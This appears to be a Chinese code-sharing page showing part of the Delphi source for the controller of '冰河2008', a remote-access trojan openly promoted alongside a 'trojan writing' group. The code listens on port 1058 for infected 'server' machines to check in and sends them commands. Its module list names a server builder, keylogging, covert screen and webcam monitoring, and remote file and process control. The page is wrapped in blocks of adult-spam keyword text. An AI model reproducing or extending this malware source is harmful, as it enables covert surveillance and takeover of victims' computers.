亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? unit1.~pas

?? 冰河2008遠程控制迎奧運版,國內(nèi)鼎鼎大名的老牌遠控
?? ~PAS
?? 第 1 頁 / 共 2 頁
字號:
unit Unit1;
{作者BLOG ALALMN JACK     http://hi.baidu.com/alalmn  
遠程控制和木馬編寫群30096995   }

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, ExtCtrls, ComCtrls, ToolWin, StdCtrls, ImgList, OleCtrls,
  SHDocVw, WinSkinData, IdComponent, IdTCPServer, IdBaseComponent,
  IdAntiFreezeBase, IdAntiFreeze,   shellapi,jpeg,untTQQWry;

type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    StatusBar1: TStatusBar;
    ListView1: TListView;
    ImageList1: TImageList;
    WebBrowser1: TWebBrowser;
    IdAntiFreeze1: TIdAntiFreeze;
    SaveDialog1: TSaveDialog;
    IdTCPServer1: TIdTCPServer;
    SkinData1: TSkinData;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ToolButton2: TToolButton;
    ToolButton3: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolBar2: TToolBar;
    Panel1: TPanel;
    Label1: TLabel;
    ComboBox1: TComboBox;
    Panel2: TPanel;
    Label2: TLabel;
    Label3: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    ToolButton22: TToolButton;
    PopupMenu1: TPopupMenu;
    N9: TMenuItem;
    ImageList2: TImageList;
    procedure FormCreate(Sender: TObject);
    procedure ToolButton9Click(Sender: TObject);
    procedure ToolButton10Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure ToolButton3Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton6Click(Sender: TObject);
    procedure ToolButton22Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormDestroy(Sender: TObject);
    procedure ListView1Change(Sender: TObject; Item: TListItem;
      Change: TItemChange);
    procedure ListView1Click(Sender: TObject);
    procedure ToolButton7Click(Sender: TObject);
    procedure ToolButton8Click(Sender: TObject);
    procedure N7Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    FleshIPList: TStringlist; {存放IP地理位置的列表}
    procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);      //消息的發(fā)送
    function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
     function GetIPtoAdder(IpName: string): string;
     procedure IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
     procedure IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
     procedure IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
  end;

  type // 服務(wù)器的會話信息。
  Ponlineinf = ^Tonlineinf;
  Tonlineinf = record
    ServerName: string[30];   {服務(wù)器主機名稱}
    AThread : TIdPeerThread;  {服務(wù)器線程}
    Soc: integer;             {服務(wù)器線程ID}
    ServerAdd: string[15];    {服務(wù)器IP地址}
    AdderStr: string;         {地理位置}
  end;

var
  Form1: TForm1;
  CurrentThread: TIdPeerThread;
  MyFirstBmp:TMemoryStream;
  OnlineServer: array[0..100] of Tonlineinf;
  count:integer;
   // SysDev: TSysDevEnum;
   // Videolist:TStringlist;

implementation
uses
Unit2,Unit3,Unit4,Unit5,Unit6,Unit7,Unit8,Unit9,Unit11,Unit12,Unit13;
 {Unit2     //FTP更新
  Unit3     //服務(wù)端生成
  Unit4     //遠程屏幕監(jiān)控
  Unit5     //視頻監(jiān)控
  Unit6     //遠程文件管理
  Unit7     //進程管理
  Unit8     //作者
  Unit9     //傳輸進度
  untTQQWry //IP數(shù)據(jù)庫
  Unit10    //新建文件夾
  Unit11    //運行參數(shù)設(shè)置
  Unit12    //窗口管理
  Unit13    //鍵盤記錄
  }

{$R *.dfm}
procedure Tform1.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
begin
 form1.Enabled :=  isbreak;  //停止
  try
    if not SendStreamToServer(CurrentThread,Miling+#13+Qita) then
    begin
     showmessage('連接出錯!');
     exit;
    end;
  except
    form1.Enabled := True;    //真
  end;
   form1.Enabled := True;     //真
end;

function Tform1.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
  MyStream: TMemoryStream;
  i:integer;
begin
  try
    MyStream:=TMemoryStream.Create;
    MyStream.Write(Cmd[1],Length(Cmd));
    MyStream.Position:=0;
    i:=MyStream.size;
    AThread.Connection.WriteLn(inttostr(i));
    AThread.Connection.WriteStream(MyStream);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    MyStream.Free;
    Result := False;
  end;
    MyStream.Free;
end;

function getfilesize(str: string): string;
var len: integer;
begin
    len := pos('|', str); //文件夾目錄主要操作
    result := copy(str, 1, len - 1);
end;

function Tform1.GetIPtoAdder(IpName: string): string; {從IP地址得到所在地理位置}
var
  QQWry: TQQWry;
  slIPData: TStringlist;
  IPRecordID: int64;
begin
  Result := '';
  try
      QQWry:=TQQWry.Create(ExtractFilePath(Paramstr(0)) + 'QQWry.dat');
      IPRecordID:=QQWry.GetIPDataID(IpName);
      slIPData:=TStringlist.Create;
      QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
      QQWry.Destroy;
      Result := slIPData[3];
     // (format('ID: %d IP: %s - %s 國家: %s 地區(qū): %s', [IPRecordID, slIPData[0], slIPData[1], slIPData[2], slIPData[3]]));
      slIPData.Free;
  except //IP地址格式不對!
    Result := 'IP地址格式不對!';
  end; //
  if Result = '' then Result :='【未知數(shù)據(jù)】' ;
end;

function ReadSeverStream(AThread: TIdPeerThread; var TempStr: string): Boolean;    //讀取流
var
  RsltStream: TMemoryStream;
  TheSize:integer;
begin
  try
    RsltStream := TmemoryStream.Create;
    TheSize := AThread.Connection.ReadInteger;
    AThread.Connection.ReadStream(RsltStream, TheSize, False);
    RsltStream.Position := 0;
    SetLength(TempStr, RsltStream.Size);
    RsltStream.Read(TempStr[1],RsltStream.Size);
    Result := True;
  except
    AThread.Connection.Disconnect;
    AThread.Terminate;
    RsltStream.Free;
    Result := False;
  end;
    RsltStream.Free;
end;

//////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
var
  IPFile: string;
  MyStream: TMemoryStream;
  MyStream1: TMemoryStream;
begin
   count:=0;   //清空防止數(shù)據(jù)的沉積
   MyFirstBmp:=TMemoryStream.Create;     //創(chuàng)建流
   IdTCPServer1.DefaultPort:=1058;    //設(shè)置監(jiān)聽端口
    IdTCPServer1.Active:=true;        //開啟控件
   if  IdTCPServer1.Active then       //判斷開啟沒
   StatusBar1.Panels.Items[0].Text:='打開臨聽端口1058成功,請等待服務(wù)端上線!';
   StatusBar1.Panels.Items[1].Text:='在線主機0臺';
   WebBrowser1.Navigate('http://hi.baidu.com/alalmn');    //打開網(wǎng)站
end;

procedure TForm1.ToolButton9Click(Sender: TObject);
begin       //最小化
    application.Minimize;
end;

procedure TForm1.ToolButton10Click(Sender: TObject);
begin
   close;   //退出程序
end;

procedure TForm1.ToolButton1Click(Sender: TObject);
begin
  ftp.Show;  //更新IP
end;

procedure TForm1.ToolButton2Click(Sender: TObject);
begin
server.Show;  //服務(wù)端生成
end;

procedure TForm1.N4Click(Sender: TObject);
begin
  ftp.Show;  //更新IP
end;

procedure TForm1.N6Click(Sender: TObject);
begin
server.Show;  //服務(wù)端生成
end;

procedure TForm1.N5Click(Sender: TObject);
begin
close;    //退出
end;

procedure TForm1.N8Click(Sender: TObject);
begin
   ShellExecute(0,nil,PChar('http://hi.baidu.com/alalmn'), nil, nil, SW_NORMAL);
end;

procedure TForm1.ToolButton3Click(Sender: TObject);
begin
    ZhuDongCmdSend('050', '', false);
   // pingmu.Show;   //遠程屏幕監(jiān)控
end;

procedure TForm1.ToolButton4Click(Sender: TObject);
begin
shipin.Show;     //視頻監(jiān)控
end;

procedure TForm1.ToolButton5Click(Sender: TObject);
var
i:integer;
begin
  //  if SendStreamToServer(CurrentThread,'001') then
 // CurrentThread.Connection.WriteLn('001');
     for i:=0 to wenjian.TreeView1.Items.Count-1 do
     begin
     if wenjian.TreeView1.Items.Item[i].ImageIndex=6 then
      begin
        if wenjian.TreeView1.Items.Item[i].HasChildren then
           wenjian.TreeView1.Items.Item[i].DeleteChildren;
           wenjian.TreeView1.Items.Item[i].Delete;
           break;  //停止
      end;
     end;
wenjian.Show;   //遠程文件管理
end;

procedure TForm1.ToolButton6Click(Sender: TObject);
begin
   ZhuDongCmdSend('020','',false);
   jincheng.Show;   //進程管理
end;

procedure TForm1.ToolButton22Click(Sender: TObject);
begin
ALALMN.Show;    //作者聯(lián)系
end;

procedure TForm1.N9Click(Sender: TObject);
begin
   if MessageBox(Application.Handle,'你確定要卸載遠程服務(wù)端嗎?這樣你將失去對遠程主機的控制!','提示!',MB_OKCANCEL)=1 then
      ZhuDongCmdSend('080','',false);      //向遠程發(fā)送卸載指令
end;

///////////////////////////////////////////////////////////////////////////////////////////////////////

procedure TForm1.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin     //斷開反映
    for i:=0 to count-1 do
    begin
     if  OnlineServer[i].Soc = AThread.ThreadID then
     begin
        for j:=0 to ListView1.Items.Count-1 do   //數(shù)據(jù)條數(shù) 數(shù)據(jù)類型(長度)定義
        begin
          if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
          begin
              ListView1.Items.Item[j].Delete;   //刪除ListView1的數(shù)據(jù)
              StatusBar1.Panels.Items[1].Text:='在線主機'+inttostr(ListView1.Items.Count)+'臺';   //IdTCPServer1斷開后應(yīng)為把ListView1里面的主機全部刪除了這時應(yīng)該顯示為0才對
              break;     //停止
          end;
        end;
        j:=i;
        while j < count-1 do
        begin
         OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
         OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
         OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
         OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
         OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
         inc(j);
        end;
       dec(count);
       break; //停止
      end;

    end;
end;

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
午夜精品成人在线视频| 欧美性大战久久| 在线免费av一区| 26uuuu精品一区二区| 亚洲一区二区三区四区五区中文| 国产高清在线精品| 日韩一区二区三区观看| 亚洲午夜影视影院在线观看| 成人国产在线观看| 亚洲精品在线观| 美女任你摸久久 | 精品一区二区三区香蕉蜜桃| 色成人在线视频| 中文字幕亚洲电影| 国产盗摄女厕一区二区三区| 91精品国产91久久综合桃花| 亚洲午夜激情网站| 欧美午夜精品一区二区三区| 亚洲色图一区二区三区| 成人av影视在线观看| 国产网站一区二区三区| 国产剧情av麻豆香蕉精品| 欧美电影免费观看高清完整版在线| 伊人性伊人情综合网| 99久久精品情趣| 中文av一区二区| 国产iv一区二区三区| 久久精品欧美一区二区三区麻豆| 毛片不卡一区二区| 日韩精品一区二区在线| 免费在线一区观看| 日韩免费在线观看| 激情文学综合插| 久久亚洲精品小早川怜子| 国产剧情av麻豆香蕉精品| 久久视频一区二区| 岛国精品在线播放| 国产精品久线在线观看| 99久久精品国产导航| 亚洲欧美韩国综合色| 欧洲亚洲国产日韩| 五月天国产精品| 精品国产亚洲在线| 丁香婷婷综合网| 国产精品第五页| 欧美性猛交xxxx黑人交| 香蕉久久夜色精品国产使用方法 | 波多野结衣一区二区三区 | 一区二区三区中文字幕| 91福利视频在线| 亚洲成人福利片| 久久女同精品一区二区| 波波电影院一区二区三区| 一区二区三区在线不卡| 日韩视频免费观看高清完整版在线观看 | 成人网在线免费视频| 国产精品福利影院| 正在播放亚洲一区| 国产99久久久国产精品潘金网站| 亚洲精品老司机| 精品日韩欧美在线| 91浏览器打开| 久久99精品久久久久久动态图| 国产婷婷一区二区| 欧美人妇做爰xxxⅹ性高电影| 免费不卡在线视频| 亚洲男同1069视频| 日韩欧美国产电影| 色网站国产精品| 国产精品一区二区91| 亚洲国产精品一区二区久久| 欧美精品一区二区在线播放| 日本道在线观看一区二区| 韩国精品一区二区| 午夜精品久久久久久久99樱桃| 欧美极品aⅴ影院| 日韩视频在线一区二区| 色94色欧美sute亚洲线路一久| 久久9热精品视频| 亚洲一区二区欧美日韩| 亚洲国产精品ⅴa在线观看| 制服丝袜亚洲精品中文字幕| 91丝袜美女网| 成人综合日日夜夜| 精品在线观看免费| 午夜电影一区二区| 亚洲乱码日产精品bd| 国产午夜精品福利| 日韩一区二区免费视频| 91国产丝袜在线播放| 成人av影院在线| 国产高清成人在线| 免费观看日韩av| 婷婷激情综合网| 亚洲成人福利片| 一区二区高清视频在线观看| 国产精品视频一区二区三区不卡| 337p粉嫩大胆噜噜噜噜噜91av | 麻豆91在线播放免费| 亚洲国产综合视频在线观看| 亚洲欧美另类小说视频| 国产精品传媒在线| 国产精品第一页第二页第三页| 国产亚洲精品中文字幕| 久久美女艺术照精彩视频福利播放 | 日本大香伊一区二区三区| 高清国产午夜精品久久久久久| 精品在线播放免费| 国产一区二区三区电影在线观看| 另类欧美日韩国产在线| 美腿丝袜亚洲色图| 日本中文字幕不卡| 久久国产日韩欧美精品| 久久99精品久久久久久久久久久久| 免费视频最近日韩| 精品一区精品二区高清| 国内精品久久久久影院色| 极品瑜伽女神91| 国产一区二区女| 成人精品视频一区二区三区尤物| 国产成人丝袜美腿| www.欧美日韩国产在线| 色94色欧美sute亚洲13| 欧美中文字幕亚洲一区二区va在线| 欧美图区在线视频| 欧美一级在线观看| 国产亚洲一区字幕| 成人欧美一区二区三区黑人麻豆| 综合欧美亚洲日本| 天天操天天色综合| 狠狠色伊人亚洲综合成人| 国产精品亚洲专一区二区三区 | 91搞黄在线观看| 欧美日韩激情一区| 日韩精品综合一本久道在线视频| 精品国产乱码久久久久久蜜臀 | 亚洲一区二区偷拍精品| 蜜桃av一区二区| 国产成人亚洲综合a∨婷婷 | av电影在线观看一区| 欧美性猛交xxxx乱大交退制版| 日韩一区二区不卡| 国产精品毛片久久久久久 | 国产精品久久久久久妇女6080| 亚洲色图丝袜美腿| 日韩和欧美一区二区三区| 国内久久精品视频| 日本丶国产丶欧美色综合| 精品国产亚洲一区二区三区在线观看| 国产精品欧美久久久久无广告| 亚欧色一区w666天堂| 国产成人精品免费网站| 欧美日韩一级二级| 中日韩免费视频中文字幕| 日韩电影在线观看一区| 成人动漫一区二区| 日韩午夜在线观看| 综合亚洲深深色噜噜狠狠网站| 日本不卡一区二区三区高清视频| av在线播放一区二区三区| 欧美一级艳片视频免费观看| 国产精品盗摄一区二区三区| 美女视频网站久久| 欧美三级韩国三级日本一级| 欧美激情中文不卡| 久久精品国产精品亚洲红杏 | 成人精品小蝌蚪| 欧美一区二区三区思思人| 国产精品久久久久久户外露出| 久久99国产精品免费网站| 在线国产电影不卡| 国产精品理论片| 九色综合狠狠综合久久| 欧美妇女性影城| 一区二区三区日韩欧美精品 | 中文字幕人成不卡一区| 久久99精品久久久久久动态图| 欧美色综合影院| 亚洲视频在线一区| 不卡视频在线看| 国产精品色哟哟| 精品午夜久久福利影院| 日韩片之四级片| 强制捆绑调教一区二区| 欧美疯狂做受xxxx富婆| 亚洲图片一区二区| 色拍拍在线精品视频8848| 1区2区3区欧美| 不卡视频一二三| 中文字幕日韩精品一区| 成人开心网精品视频| 中文字幕在线不卡| 成人丝袜视频网| 1区2区3区欧美| 色综合天天综合网天天狠天天| 最新日韩av在线| 在线观看亚洲精品视频| 亚洲综合色视频| 91麻豆精品久久久久蜜臀| 五月天视频一区|